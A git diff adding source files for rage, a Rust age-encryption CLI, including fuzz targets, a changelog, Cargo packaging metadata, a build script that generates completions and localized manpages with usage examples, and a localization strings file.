Ok(decryptor) = Decryptor::new_buffered(data) { + let _ = decryptor.decrypt(iter::empty()); + } +}); diff --git a/lib/rage/fuzz/fuzz_targets/header.rs b/lib/rage/fuzz/fuzz_targets/header.rs new file mode 100644 index 0000000..d07d4b2 --- /dev/null +++ b/lib/rage/fuzz/fuzz_targets/header.rs @@ -0,0 +1,6 @@ +#![no_main] +use libfuzzer_sys::fuzz_target; + +fuzz_target!(|data: &[u8]| { + age::fuzz_header(data); +}); diff --git a/lib/rage/rage/CHANGELOG.md b/lib/rage/rage/CHANGELOG.md new file mode 100644 index 0000000..a56681c --- /dev/null +++ b/lib/rage/rage/CHANGELOG.md @@ -0,0 +1,230 @@ +# Changelog +All notable changes to the rage CLI tools themselves will be documented in this +file. Changes to the [age crate](../age/CHANGELOG.md) also apply to the rage CLI +tools, and are not duplicated here. + +The format is based on [Keep a Changelog](https://keepachangelog.com/en/1.0.0/), +and this project adheres to Rust's notion of +[Semantic Versioning](https://semver.org/spec/v2.0.0.html). All versions prior +to 1.0.0 are beta releases. + +## [Unreleased] + +## [0.6.1, 0.7.2, 0.8.2, 0.9.3, 0.10.1, 0.11.1] - 2024-12-18 +### Security +- Fixed a security vulnerability that could allow an attacker to execute an + arbitrary binary under certain conditions. See GHSA-4fg7-vxc8-qx5w. Plugin + names are now required to only contain alphanumeric characters or the four + special characters `+-._`. Thanks to ⬡-49016 for reporting this issue. + +## [0.11.0] - 2024-11-03 +### Added +- Partial French translation! + +### Fixed +- [Unix] Files can now be encrypted with `rage --passphrase` when piped over + stdin, without requiring an explicit `-` argument as `INPUT`. + +## [0.10.0] - 2024-02-04 +### Added +- Russian translation! +- `rage-keygen -y IDENTITY_FILE` to convert identity files to recipients. +- Elvish completions to the Debian package. These are not automatically + discovered; Elvish users will need to manually import them. +- Localized manpages to the Debian package. + +### Changed +- MSRV is now 1.65.0. +- Migrated from `gumdrop` to `clap` for argument parsing. +- `-R/--recipients-file` and `-i/--identity` now support "read-once" files, like + those used by process substitution (`-i <(other_binary get-age-identity)`) and + named pipes. +- The filename `-` (hyphen) is now treated as an explicit request to read from + standard input when used with `-R/--recipients-file` or `-i/--identity`. It + must only occur once across the `-R/--recipients-file` and `-i/--identity` + flags, and the input file. It cannot be used if the input file is omitted. + +### Fixed +- OpenSSH private keys passed to `-i/--identity` that contain invalid public + keys are no longer ignored when encrypting, and instead cause an error. +- Weak `ssh-rsa` public keys that are smaller than 2048 bits are now rejected. +- `rage-keygen` no longer overwrites existing key files with the `-o/--output` + flag. This was its behaviour prior to 0.6.0, but was unintentionally changed + when `rage` was modified to overwrite existing files. Key file overwriting can + still be achieved by omitting `-o/--output` and instead piping stdout to the + file. +- `rage-keygen` now prints fatal errors directly instead of them being hidden + behind the `RUST_LOG=error` environment variable. It also now sets its return + code appropriately instead of always returning 0. +- The Debian package now uses the correct installation paths for fish and Zsh + completions. + +## [0.9.2] - 2023-06-12 +### Changed +- Increased parsing speed of age file headers. For single-recipient encrypted + files, decryption throughput increases by 6% for medium (< 1MiB) files, and + over 40% for small (< 10kiB) files. +- The `pinentry` binary used to request passphrases can now be set manually with + the `PINENTRY_PROGRAM` environment variable. It accepts either a binary name + or a path. Setting this to the empty string will disable `pinentry` usage and + fall back to the CLI interface. +- Linux release binaries are now built using Ubuntu 20.04. + +## [0.9.1] - 2023-03-24 +### Added +- Support for encrypted OpenSSH keys exported from 1Password. + +## [0.9.0] - 2022-10-27 +### Changed +- MSRV is now 1.59.0. + +### Fixed +- Encryption now returns an error if the file would be encrypted to no + recipients. This can occur if only `-R/--recipients-file` flags are provided, + and they all point to files that contain only "#" prefixed comments and empty + lines. + +## [0.8.1] - 2022-06-18 +### Security +- Require `age 0.8.1`. See the [`age` crate changelog](../age/CHANGELOG.md) for + details. + +## [0.8.0] - 2022-05-02 +### Changed +- MSRV is now 1.56.0. +- When both reading input from the terminal (e.g. if the user is typing the + plaintext to be encrypted) and writing output to the terminal, `rage` now + buffers the output until the input is finished, so the output doesn't get in + the way of typing. +- A warning is now displayed if `rage` detects that the file being encrypted + starts with the age magic string or armor begin marker (indicating that an + age-encrypted file is being double-encrypted). The file is still encrypted. +- A message is now printed if a plugin takes longer than 10 seconds to encrypt + or decrypt its header entry (for example, if the plugin is waiting on some + user interaction that hasn't occurred yet). + +### Fixed +- Decryption now returns an error when given a passphrase-encrypted file if + `-i/--identity` is present. Previously this could result in scripts hanging + forever (given that passphrase decryption is intentionally not scriptable). + +## [0.7.1] - 2021-12-27 +### Fixed +- Fixed a bug in 0.7.0 where non-canonical recipient stanza bodies in an age + file header would cause `rage` to crash instead of being rejected. + +## [0.7.0] - 2021-10-18 +### Added +- `-i/--identity` now accepts passphrase-encrypted age identity files. +- The `-j PLUGIN_NAME` flag, which allows decrypting with a plugin using its + "default mode" (in which no identity-specific information is required). This + flag is equivalent to using `-i/--identity` with an identity file containing + the default plugin identity (containing no data). + +### Changed +- MSRV is now 1.51.0. +- `*-linux.tar.gz` release binaries are now built with Ubuntu 18.04, and require + a system with a minimum of `glibc 2.27`. + +## [0.6.0] - 2021-05-02 +### Added +- Plugin support! + - The new [`age-plugin`](https://crates.io/crates/age-plugin) crate provides + a Rust API for building age plugins. + - See https://hackmd.io/@str4d/age-plugin-spec for the beta specification. +- The `-R/--recipients-file` flag, which accepts a path to a file containing age + recipients, one per line (ignoring "#" prefixed comments and empty lines). +- The `-e/--encrypt` flag, to allow encryption to be an explicit choice (instead + of relying on `-d/--decrypt` not being present). + +### Changed +- MSRV is now 1.47.0. +- `-o/--output` will now *overwrite* existing files instead of returning an + error. This makes the behaviour consistent with most UNIX tools, as well as + when using pipes. +- Files encrypted with this version of `rage` might not decrypt with previous + beta versions, due to changes in how stanza bodies are canonically encoded. + This should only affect a small fraction of files (if grease that triggers the + change is added, which has a 3% chance per file). +- `-r/--recipient` now has the specific type "recipient" which better reflects + its name, rather than the ambiguous "source of recipients" it was previously. +- `-i/--identity` can now be used when encrypting files. This requires the + `-e/--encrypt` flag (to prevent ambiguity, e.g. if the user wants to decrypt + but forgets the `-d/--decrypt` flag). +- `*-linux.tar.gz` release binaries are now built with Ubuntu 16.04, enabling + them to be used on systems with a minimum of `glibc 2.23`. +- Debian packages are now built with Ubuntu 18.04, enabling them to be used on + Debian/Ubuntu systems with a minimum of `glibc 2.27`. + +### Removed +- Recipients file support from `-r/--recipient` (use `-R/--recipients-file` + instead). +- HTTPS support. This added otherwise-unnecessary networking dependencies to + `rage`, and there are many decisions that need to be made when downloading a + file (e.g. what roots to trust?) that go beyond the APIs we want to focus on + here. Users should use a tool like `curl` or `wget` to download a recipients + file, and then pass it to `rage`. +- The unstable GitHub feature (which relied on HTTPS support). +- The unstable aliases feature. + +### Fixed +- Log output is now disabled by default, to prevent non-fatal error messages + (such as an unset or invalid `LANG` variable) being printed to stderr while + the program succeeds (which is confusing for users). The previous behaviour + can be configured by setting the environment variable `RUST_LOG=error`. +- Output files are now opened lazily, which avoids leaving behind an empty file + when an error occurs before we write the header. + +## [0.5.1] - 2021-02-13 +### Fixed +- Bumped dependencies to `i18n-embed-fl 0.3` and `i18n-embed 0.10.2` to fix a + transient dependency breakage, that broke `cargo install rage` because + [`cargo install` ignores `Cargo.lock`](https://github.com/rust-lang/cargo/issues/7169). + +## [0.5.0] - 2020-11-22 +### Added +- Italian, Spanish, and Chinese translations! +- `ssh` feature flag, enabled by default. It can be disabled to remove support + for `ssh-rsa` and `ssh-ed25519` recipients and identities. `ssh-rsa` keys are + now supported without the `unstable` feature flag. + +### Changed +- MSRV is now 1.45.0. + +### Removed +- Default identity path (identities should instead be set per-use). +- Default alias path (for unstable aliases feature). + +## [0.4.0] - 2020-03-25 +### Added +- `rage-mount` can now mount ASCII-armored age files. + +### Changed +- [`rage`] `-p/--passphrase` flag can no longer be used with `-d/--decrypt` + (passphrase-encrypted files are now detected automatically). + +### Removed +- `-p/--passphrase` flag from `rage-mount` (passphrase-encrypted files are now + detected automatically). + +### Fixed +- [Unix] Files encrypted with a passphrase can now be decrypted with `rage` when + piped over stdin. + +## [0.3.1] - 2020-02-11 +### Fixed +- Bumped dependencies to `cookie-factory ^0.3.1` to fix nightly builds. + +## [0.3.0] - 2020-02-09 +(relative to the CLI tools in `age 0.2.0`) + +### Added +- `-V / --version` flags to all binaries. +- Completion files for Bash, Elvish, Fish, PowerShell, and Zsh can be generated + with `cargo run --example generate-completions`. +- The Debian package will install completion files for Bash, Fish, and Zsh. + +### Changed +- If a `pinentry` binary is available, it will be used preferentially to request + secrets such as passphrases. The previous CLI input will be used if `pinentry` + is not available. diff --git a/lib/rage/rage/Cargo.toml b/lib/rage/rage/Cargo.toml new file mode 100644 index 0000000..a472f7f --- /dev/null +++ b/lib/rage/rage/Cargo.toml @@ -0,0 +1,159 @@ +[package] +name = "rage" +description = "[BETA] A simple, secure, and modern encryption tool." +version = "0.11.1" +authors.workspace = true +repository.workspace = true +readme = "../README.md" +keywords = ["age", "cli", "encryption"] +categories = ["command-line-utilities", "cryptography"] +license.workspace = true +edition.workspace = true +rust-version.workspace = true +default-run = "rage" + +[package.metadata.deb] +name = "rage" +conflicts = "rage-musl" +extended-description = """\ +age is a simple, modern, and secure encryption format with small explicit keys, \ +no config options, and UNIX-style composability. rage is a Rust implementation \ +of the age specification.""" +section = "utils" +assets = [ + ["target/release/rage", "usr/bin/", "755"], + ["target/release/rage-keygen", "usr/bin/", "755"], + ["target/release/rage-mount", "usr/bin/", "755"], + + # From the bash-completion FAQ (https://github.com/scop/bash-completion/blob/master/README.md#faq): + # > Q. I author/maintain package X and would like to maintain my own completion code + # > for this package. Where should I put it to be sure that interactive bash shells + # > will find it and source it? + # > A. Install it in one of the directories pointed to by bash-completion's `pkgconfig` + # > file variables. [..] The recommended directory is `completionsdir`, which you + # > can get with `pkg-config --variable=completionsdir bash-completion`. + # + # On Ubuntu 22.04 this resolves to `/usr/share/bash-completion/completions`. + ["target/release/completions/rage.bash", "usr/share/bash-completion/completions/rage", "644"], + ["target/release/completions/rage-keygen.bash", "usr/share/bash-completion/completions/rage-keygen", "644"], + ["target/release/completions/rage-mount.bash", "usr/share/bash-completion/completions/rage-mount", "644"], + + # From https://github.com/elves/elvish/issues/1564#issuecomment-1166333636: + # > Completion files can be installed like other modules into a global module search + # > directory ([..]). There is no automatic discovery of completion files though; the + # > user would have to import them manually with `use`. + # + # From https://elv.sh/ref/command.html#module-search-directories: + # > When importing modules, Elvish searches the following directories: + # > [..] + # > 3. If the XDG_DATA_DIRS environment variable is defined and non-empty, it is + # > treated as a colon-delimited list of paths (semicolon-delimited on Windows), + # > which are all searched. + # > + # > Otherwise, `/usr/local/share/elvish/lib` and `/usr/share/elvish/lib` are + # > searched on non-Windows OSes. + ["target/release/completions/rage.elv", "usr/share/elvish/lib/", "644"], + ["target/release/completions/rage-keygen.elv", "usr/share/elvish/lib/", "644"], + ["target/release/completions/rage-mount.elv", "usr/share/elvish/lib/", "644"], + + # From https://fishshell.com/docs/current/completions.html#where-to-put-completions: + # > By default, Fish searches the following for completions, using the first available + # > file that it finds: + # > [..] + # > - A directory for third-party software vendors to ship their own completions for + # > their software, usually `/usr/share/fish/vendor_completions.d`; + # > [..] + # > If you are developing another program and would like to ship completions with your + # > program, install them to the “vendor†completions directory. As this path may vary + # > from system to system, the `pkgconfig` framework should be used to discover this + # > path with the output of `pkg-config --variable completionsdir fish`. + ["target/release/completions/rage.fish", "usr/share/fish/vendor_completions.d/", "644"], + ["target/release/completions/rage-keygen.fish", "usr/share/fish/vendor_completions.d/", "644"], + ["target/release/completions/rage-mount.fish", "usr/share/fish/vendor_completions.d/", "644"], + + # The best reference I can find for the Zsh completions path is + # https://bugs.debian.org/cgi-bin/bugreport.cgi?bug=921236#17 from February 2019: + # > As a rule, completion functions (first line is "#compdef") should be + # > installed to /usr/share/zsh/vendor-completions and autoloadable + # > functions (first line is "#autoload") to /usr/share/zsh/vendor-functions; + # > both of these paths are Debian-specific. + ["target/release/completions/_rage", "usr/share/zsh/vendor-completions/", "644"], + ["target/release/completions/_rage-keygen", "usr/share/zsh/vendor-completions/", "644"], + ["target/release/completions/_rage-mount", "usr/share/zsh/vendor-completions/", "644"], + + # From the default `/etc/manpath.config` created by the `man-db` package: + # > MANPATH_MAP /usr/bin /usr/share/man + ["target/release/manpages/**/rage.1.gz", "usr/share/man/man1/", "644"], + ["target/release/manpages/**/rage-keygen.1.gz", "usr/share/man/man1/", "644"], + ["target/release/manpages/**/rage-mount.1.gz", "usr/share/man/man1/", "644"], + + ["../README.md", "usr/share/doc/rage/README.md", "644"], +] +features = ["mount"] + +[package.metadata.deb.variants.musl] +name = "rage-musl" +conflicts = "rage" +extended-description = """\ +age is a simple, modern, and secure encryption format with small explicit keys, \ +no config options, and UNIX-style composability. rage is a Rust implementation \ +of the age specification. This package is statically linked against musl.""" +features = [] + +[badges] +maintenance = { status = "experimental" } + +[dependencies] +# rage and rage-keygen dependencies +age = { workspace = true, features = ["armor", "cli-common", "plugin"] } +chrono.workspace = true +clap = { workspace = true, features = ["string", "unstable-styles"] } +console.workspace = true +env_logger.workspace = true +i18n-embed = { workspace = true, features = ["desktop-requester"] } +i18n-embed-fl.workspace = true +lazy_static.workspace = true +log.workspace = true +pinentry.workspace = true +rust-embed.workspace = true + +# rage-mount dependencies +ctrlc = { version = "3.2", optional = true } +fuse_mt = { version = "0.6.0", optional = true } +fuser = { version = "0.13", optional = true } +libc = { version = "0.2", optional = true } +tar = { version = "0.4", optional = true } +time = { version = ">=0.3.7, <0.3.24", optional = true } # time 0.3.24 has MSRV 1.67 +zip = { version = "0.6.2", optional = true } + +[build-dependencies] +clap = { workspace = true, features = ["string", "unstable-styles"] } +clap_complete = "4" +clap_mangen = "0.2" +flate2 = "1" +i18n-embed.workspace = true +i18n-embed-fl.workspace = true +lazy_static.workspace = true +rust-embed.workspace = true + +[dev-dependencies] +trycmd = "0.14" + +[features] +default = ["ssh"] +mount = ["ctrlc", "fuse_mt", "fuser", "libc", "tar", "time", "zip"] +ssh = ["age/ssh"] +unstable = ["age/unstable"] + +[[bin]] +name = "rage" +bench = false + +[[bin]] +name = "rage-keygen" +bench = false + +[[bin]] +name = "rage-mount" +required-features = ["mount"] +bench = false diff --git a/lib/rage/rage/build.rs b/lib/rage/rage/build.rs new file mode 100644 index 0000000..494d9e3 --- /dev/null +++ b/lib/rage/rage/build.rs @@ -0,0 +1,468 @@ +use std::env; +use std::fs; +use std::io; +use std::path::Path; +use std::path::PathBuf; + +use clap::{Command, CommandFactory, ValueEnum}; +use clap_complete::{generate_to, Shell}; +use clap_mangen::{ + roff::{Inline, Roff}, + Man, +}; +use flate2::{write::GzEncoder, Compression}; +use i18n_embed::unic_langid::LanguageIdentifier; + +mod i18n { + include!("src/bin/rage/i18n.rs"); +} +mod rage { + include!("src/bin/rage/cli.rs"); +} +mod rage_keygen { + include!("src/bin/rage-keygen/cli.rs"); +} +#[cfg(feature = "mount")] +mod rage_mount { + include!("src/bin/rage-mount/cli.rs"); +} + +#[macro_export] +macro_rules! fl { + ($message_id:literal) => {{ + i18n_embed_fl::fl!($crate::i18n::LANGUAGE_LOADER, $message_id) + }}; + + ($message_id:literal, $($args:expr),* $(,)?) => {{ + i18n_embed_fl::fl!($crate::i18n::LANGUAGE_LOADER, $message_id, $($args), *) + }}; +} + +/// Formats localized text. +/// +/// We only support one kind of formatting: italics via `the _underscore_ method`. +fn format_localized(content: String) -> Vec { + if let Some((l, r)) = content.split_once(" _") { + Some(Inline::Roman(l.into())) + .into_iter() + .chain(r.split(" _").flat_map(|s| { + let (l, r) = s + .split_once("_ ") + .expect("italics should always be terminated"); + [ + Inline::Roman(" ".into()), + Inline::Italic(l.into()), + Inline::Roman(format!(" {r}")), + ] + })) + .collect() + } else { + vec![Inline::Roman(content)] + } +} + +struct ManpageSection(Roff); + +impl ManpageSection { + fn new(heading: String) -> Self { + let mut roff = Roff::default(); + roff.control("SH", [heading.as_str()]); + Self(roff) + } + + fn subheading(mut self, subheading: String) -> Self { + self.0.control("SS", [subheading.as_str()]); + self + } + + fn paragraph(mut self, content: String) -> Self { + self.0.text(format_localized(content)); + self + } + + fn render(self, w: &mut impl io::Write) -> io::Result<()> { + self.0.to_writer(w) + } +} + +struct Example { + text: String, + commands: Vec, +} + +struct ExampleCommand { + cmd: &'static str, + output: Vec, +} + +impl Example { + const fn new(text: String) -> Self { + Self { + text, + commands: vec![], + } + } + + fn cmd(self, cmd: &'static str) -> Self { + self.cmd_out(cmd, vec![]) + } + + fn cmd_out(mut self, cmd: &'static str, output: Vec) -> Self { + self.commands.push(ExampleCommand { cmd, output }); + self + } +} + +struct Examples([Example; N]); + +impl Examples { + fn render(self, w: &mut impl io::Write) -> io::Result<()> { + let mut roff = Roff::default(); + roff.control("SH", [fl!("man-examples-heading").as_str()]); + for example in self.0 { + roff.control("TP", []); + roff.text( + [ + Inline::Roman(format!("{}:", example.text)), + Inline::LineBreak, + ] + .into_iter() + .chain(example.commands.into_iter().flat_map(|example| { + example + .cmd + .lines() + .enumerate() + .flat_map(|(i, line)| { + // For all lines except the last, append a `\` to concatenate. + // As `str::lines` is not an `ExactSizeIterator`, we "prepend" + // to the line after, prior to the separating line break. + (i != 0) + .then(|| [Inline::Bold(" \\".into()), Inline::LineBreak]) + .into_iter() + .flatten() + .chain(Some(Inline::Bold(format!( + "{} {}", + if i == 0 { '$' } else { ' ' }, + line + )))) + }) + .chain(Some(Inline::LineBreak)) + .chain( + example + .output + .into_iter() + .flat_map(|output| [Inline::Roman(output), Inline::LineBreak]), + ) + .chain(Some(Inline::LineBreak)) + })) + .collect::>(), + ); + } + roff.to_writer(w) + } +} + +#[derive(Clone)] +struct Cli { + rage: Command, + rage_keygen: Command, + #[cfg(feature = "mount")] + rage_mount: Command, +} + +impl Cli { + fn build() -> Self { + Self { + rage: rage::AgeOptions::command(), + rage_keygen: rage_keygen::AgeOptions::command(), + #[cfg(feature = "mount")] + rage_mount: rage_mount::AgeMountOptions::command(), + } + } + + fn generate_completions(&mut self, out_dir: &Path) -> io::Result<()> { + fs::create_dir_all(out_dir)?; + + for &shell in Shell::value_variants() { + generate_to(shell, &mut self.rage, "rage", out_dir)?; + generate_to(shell, &mut self.rage_keygen, "rage-keygen", out_dir)?; + #[cfg(feature = "mount")] + generate_to(shell, &mut self.rage_mount, "rage-mount", out_dir)?; + } + + Ok(()) + } + + fn generate_manpages(self, out_dir: &Path) -> io::Result<()> { + fs::create_dir_all(out_dir)?; + + fn generate_manpage( + out_dir: &Path, + name: &str, + see_also: &str, + cmd: Command, + custom: impl FnOnce(&Man, &mut GzEncoder) -> io::Result<()>, + ) -> io::Result<()> { + let file = fs::File::create(out_dir.join(format!("{}.1.gz", name)))?; + let mut w = GzEncoder::new(file, Compression::best()); + + let man = Man::new(cmd); + man.render_title(&mut w)?; + man.render_name_section(&mut w)?; + man.render_synopsis_section(&mut w)?; + man.render_description_section(&mut w)?; + man.render_options_section(&mut w)?; + custom(&man, &mut w)?; + ManpageSection::new(fl!("man-see-also-heading")) + .paragraph(see_also.into()) + .render(&mut w)?; + man.render_version_section(&mut w)?; + man.render_authors_section(&mut w) + } + + #[cfg(feature = "mount")] + let (rage_see_also, rage_keygen_see_also) = + ("rage-keygen(1), rage-mount(1)", "rage(1), rage-mount(1)"); + + #[cfg(not(feature = "mount"))] + let (rage_see_also, rage_keygen_see_also) = ("rage-keygen(1)", "rage(1)"); + + generate_manpage( + out_dir, + "rage", + rage_see_also, + self.rage + .about(fl!("man-rage-about")) + .long_about(fl!("man-rage-description")) + .mut_arg("output", |a| a.long_help(fl!("man-rage-flag-output"))) + .mut_arg("encrypt", |a| a.long_help(fl!("man-rage-flag-encrypt"))) + .mut_arg("recipient", |a| a.long_help(fl!("man-rage-flag-recipient"))) + .mut_arg("recipients_file", |a| { + a.long_help(fl!("man-rage-flag-recipients-file")) + }) + .mut_arg("passphrase", |a| { + a.long_help(fl!("man-rage-flag-passphrase")) + }) + .mut_arg("armor", |a| a.long_help(fl!("man-rage-flag-armor"))) + .mut_arg("decrypt", |a| a.long_help(fl!("man-rage-flag-decrypt"))) + .mut_arg("identity", |a| { + a.long_help(fl!("man-rage-flag-identity-decrypt")) + }) + .mut_arg("plugin_name", |a| { + a.long_help(fl!("man-rage-flag-plugin-decrypt")) + }) + .after_help(rage::after_help_content("rage-keygen")), + |_, w| { + ManpageSection::new(fl!("man-rage-recipients-and-identities-heading")) + .paragraph(fl!("man-rage-recipients-and-identities")) + .subheading(fl!("man-rage-native-x25519-keys-heading")) + .paragraph(fl!( + "man-rage-native-x25519-keys", + example_age_recipient = "age1gde3ncmahlqd9gg50tanl99r960llztrhfapnmx853s4tjum03uqfssgdh", + example_age_identity = + "AGE-SECRET-KEY-1KTYK6RVLN5TAPE7VF6FQQSKZ9HWWCDSKUGXXNUQDWZ7XXT5YK5LSF3UTKQ", + )) + .subheading(fl!("man-rage-ssh-keys-heading")) + .paragraph(fl!( + "man-rage-ssh-keys", + example_ssh_rsa = "ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABgQDULTit0KUehbi[...]GU4BtElAbzh8=", + example_ssh_ed25519 = "ssh-ed25519 AAAAC3NzaC1lZDI1NTE5AAAAIH9pO5pz22JZEas[...]l1uZc31FGYMXa", + )) + .subheading(fl!("man-rage-plugins-heading")) + .paragraph(fl!("man-rage-plugins")) + .render(w)?; + + Examples([ + Example::new(fl!("man-rage-example-single")) + .cmd_out( + "rage-keygen -o key.txt", + vec![format!( + "{}: age1ql3z7hjy54pw3hyww5ayyfg7zqgvc7w3j2elw8zmrj2kg5sfn9aqmcac8p", + fl!("tty-pubkey") + )], + ) + .cmd("tar cvz ~/data | rage -r age1ql3z7hjy54pw3hyww5ayyfg7zqgvc7w3j2elw8zmrj2kg5sfn9aqmcac8p > data.tar.gz.age") + .cmd("rage -d -o data.tar.gz -i key.txt data.tar.gz.age"), + Example::new(fl!( + "man-rage-example-enc-multiple", + input = "example.jpg", + output = "example.jpg.age" + )) + .cmd( + "rage -o example.jpg.age -r age1ql3z7hjy54pw3hyww5ayyfg7zqgvc7w3j2elw8zmrj2kg5sfn9aqmcac8p\n \ + -r age1lggyhqrw2nlhcxprm67z43rta597azn8gknawjehu9d9dl0jq3yqqvfafg example.jpg", + ), + Example::new(fl!("man-rage-example-enc-list")) + .cmd_out( + "cat > recipients.txt", + vec![ + "# Alice".into(), + "age1ql3z7hjy54pw3hyww5ayyfg7zqgvc7w3j2elw8zmrj2kg5sfn9aqmcac8p".into(), + "# Bob".into(), + "age1lggyhqrw2nlhcxprm67z43rta597azn8gknawjehu9d9dl0jq3yqqvfafg".into(), + ], + ) + .cmd("rage -R recipients.txt example.jpg > example.jpg.age"), + Example::new(fl!("man-rage-example-password")) + .cmd_out( + "rage -p secrets.txt > secrets.txt.age", + vec![ + fl!("autogenerated-passphrase"), + " release-response-step-brand-wrap-ankle-pair-unusual-sword-train".into(), + ], + ) + .cmd_out( + "rage -d secrets.txt.age > secrets.txt", + vec![format!("{}:", fl!("type-passphrase"))], + ), + Example::new(fl!("man-rage-example-identity-passphrase")) + .cmd_out( + "rage -p <(rage-keygen) > key.age", + vec![ + format!( + "{}: age1yhm4gctwfmrpz87tdslm550wrx6m79y9f2hdzt0lndjnehwj0ukqrjpyx5", + fl!("tty-pubkey") + ), + fl!("autogenerated-passphrase"), + " hip-roast-boring-snake-mention-east-wasp-honey-input-actress".into(), + ], + ) + .cmd("rage -r age1yhm4gctwfmrpz87tdslm550wrx6m79y9f2hdzt0lndjnehwj0ukqrjpyx5 secrets.txt > secrets.txt.age") + .cmd_out( + "rage -d -i key.age secrets.txt.age > secrets.txt", + vec![format!("{}:", fl!("type-passphrase"))], + ), + Example::new(fl!("man-rage-example-ssh")) + .cmd("rage -R ~/.ssh/id_ed25519.pub example.jpg > example.jpg.age") + .cmd("rage -d -i ~/.ssh/id_ed25519 example.jpg.age > example.jpg"), + Example::new(fl!("man-rage-example-yubikey")) + .cmd_out("age-plugin-yubikey", vec![format!("# {}", fl!("man-rage-example-yubikey-setup"))]) + .cmd( + "rage -r age1yubikey1qwt50d05nh5vutpdzmlg5wn80xq5negm4uj9ghv0snvdd3yysf5yw3rhl3t secrets.txt > secrets.txt.age", + ) + .cmd("rage -d -i age-yubikey-identity-388178f3.txt secrets.txt.age"), + Example::new(fl!("man-rage-example-enc-github")) + .cmd("curl https://github.com/benjojo.keys | rage -R - example.jpg > example.jpg.age"), + ]) + .render(w) + }, + )?; + generate_manpage( + out_dir, + "rage-keygen", + rage_keygen_see_also, + self.rage_keygen + .about(fl!("man-keygen-about")) + .long_about(fl!("man-keygen-description")) + .mut_arg("output", |a| a.long_help(fl!("man-keygen-flag-output"))) + .mut_arg("convert", |a| a.long_help(fl!("man-keygen-flag-convert"))), + |_, w| { + Examples([ + Example::new(fl!("man-keygen-example-stdout")).cmd_out( + "rage-keygen", + vec![ + format!("# {}: 2021-01-02T15:30:45+01:00", fl!("identity-file-created")), + format!( + "# {}: age1lvyvwawkr0mcnnnncaghunadrqkmuf9e6507x9y920xxpp866cnql7dp2z", + fl!("identity-file-pubkey"), + ), + "AGE-SECRET-KEY-1N9JEPW6DWJ0ZQUDX63F5A03GX8QUW7PXDE39N8UYF82VZ9PC8UFS3M7XA9".to_owned(), + ], + ), + Example::new(fl!("man-keygen-example-file", filename = "key.txt")).cmd_out( + "rage-keygen -o key.txt", + vec![format!( + "{}: age1ql3z7hjy54pw3hyww5ayyfg7zqgvc7w3j2elw8zmrj2kg5sfn9aqmcac8p", + fl!("tty-pubkey") + )], + ), + Example::new(fl!("man-keygen-example-convert")).cmd_out( + "rage-keygen -y key.txt", + vec!["age1ql3z7hjy54pw3hyww5ayyfg7zqgvc7w3j2elw8zmrj2kg5sfn9aqmcac8p".to_owned()], + ), + ]) + .render(w) + }, + )?; + #[cfg(feature = "mount")] + generate_manpage( + out_dir, + "rage-mount", + "rage-keygen(1), rage(1)", + self.rage_mount + .about(fl!("man-mount-about")) + .long_about(fl!("man-mount-description")) + .mut_arg("types", |a| { + a.long_help(fl!( + "man-mount-flag-types", + types = crate::rage_mount::TYPES, + )) + }) + .mut_arg("identity", |a| { + a.long_help(fl!("man-rage-flag-identity-decrypt")) + }), + |_, w| { + Examples([ + Example::new(fl!("man-mount-example-identity")) + .cmd("rage-mount -t tar -i key.txt encrypted.tar.age ./tmp"), + Example::new(fl!("man-mount-example-passphrase")).cmd_out( + "rage-mount -t zip encrypted.zip.age ./tmp", + vec![format!("{}:", fl!("type-passphrase"))], + ), + ]) + .render(w) + }, + )?; + + Ok(()) + } +} + +fn main() -> io::Result<()> { + // `OUT_DIR` is "intentionally opaque as it is only intended for `rustc` interaction" + // (https://github.com/rust-lang/cargo/issues/9858). Peek into the black box and use + // it to figure out where the target directory is. + let out_dir = match env::var_os("OUT_DIR") { + None => return Ok(()), + Some(out_dir) => PathBuf::from(out_dir) + .ancestors() + .nth(3) + .expect("should be absolute path") + .to_path_buf(), + }; + + // Generate the completions in English, because these aren't easily localizable. + i18n::load_languages(&[]); + Cli::build().generate_completions(&out_dir.join("completions"))?; + + // Generate manpages for all supported languages. + let manpage_dir = out_dir.join("manpages"); + for lang_dir in fs::read_dir("./i18n")? { + let lang_dir = lang_dir?.file_name(); + let lang: LanguageIdentifier = lang_dir + .to_str() + .expect("should be valid Unicode") + .parse() + .expect("should be valid language identifier"); + + // Render the manpages into the correct folder structure, so that local checks can + // be performed with `man -M target/debug/manpages BINARY_NAME`. + let mut out_dir = if lang.language.as_str() == "en" { + manpage_dir.clone() + } else { + let mut lang_str = lang.language.as_str().to_owned(); + if let Some(region) = lang.region { + // Locales for manpages use the POSIX format with underscores. + lang_str += "_"; + lang_str += region.as_str(); + } + manpage_dir.join(lang_str) + }; + out_dir.push("man1"); + + i18n::load_languages(&[lang]); + Cli::build().generate_manpages(&out_dir)?; + } + + Ok(()) +} diff --git a/lib/rage/rage/i18n.toml b/lib/rage/rage/i18n.toml new file mode 100644 index 0000000..40d065c --- /dev/null +++ b/lib/rage/rage/i18n.toml @@ -0,0 +1,4 @@ +fallback_language = "en-US" + +[fluent] +assets_dir = "i18n" diff --git a/lib/rage/rage/i18n/en-US/rage.ftl b/lib/rage/rage/i18n/en-US/rage.ftl new file mode 100644 index 0000000..ccc8368 --- /dev/null +++ b/lib/rage/rage/i18n/en-US/rage.ftl @@ -0,0 +1,500 @@ +# Copyright 2020 Jack Grigg +# +# Licensed under the Apache License, Version 2.0 or the MIT license +# , at your +# option. This file may not be copied, modified, or distributed +# except according to those terms. + +### Localization for strings in the rage CLI tools + +## Terms (not to be localized) + +-age = age +-age-plugin- = age-plugin- +-rage = rage +-rage-keygen = rage-keygen +-stdin = "-" +-recipient-prefix = age1 +-identity-prefix = AGE-SECRET-KEY-1 +-armor-pem-type = AGE ENCRYPTED FILE + +-rage-mount = rage-mount + +-ssh-rsa = ssh-rsa +-ssh-ed25519 = ssh-ed25519 +-ssh-authorized-keys = authorized_keys +-dot-keys = .keys +-ssh = ssh(1) +-authorized-keys-file-format = AUTHORIZED_KEYS FILE FORMAT +-sshd = sshd(8) +-ssh-agent = ssh-agent(1) + +-example = example +-example-r = age1example1 +-example-i = AGE-PLUGIN-EXAMPLE-1 + +-yubikey = yubikey + +## CLI flags (not to be localized) + +-flag-armor = -a/--armor +-flag-decrypt = -d/--decrypt +-flag-encrypt = -e/--encrypt +-flag-identity = -i/--identity +-flag-output = -o/--output +-flag-recipient = -r/--recipient +-flag-recipients-file = -R/--recipients-file +-flag-passphrase = -p/--passphrase +-flag-plugin-name = -j +-flag-max-work-factor = --max-work-factor +-flag-unstable = --features unstable + +-flag-convert = -y + +-flag-mnt-types = -t/--types + 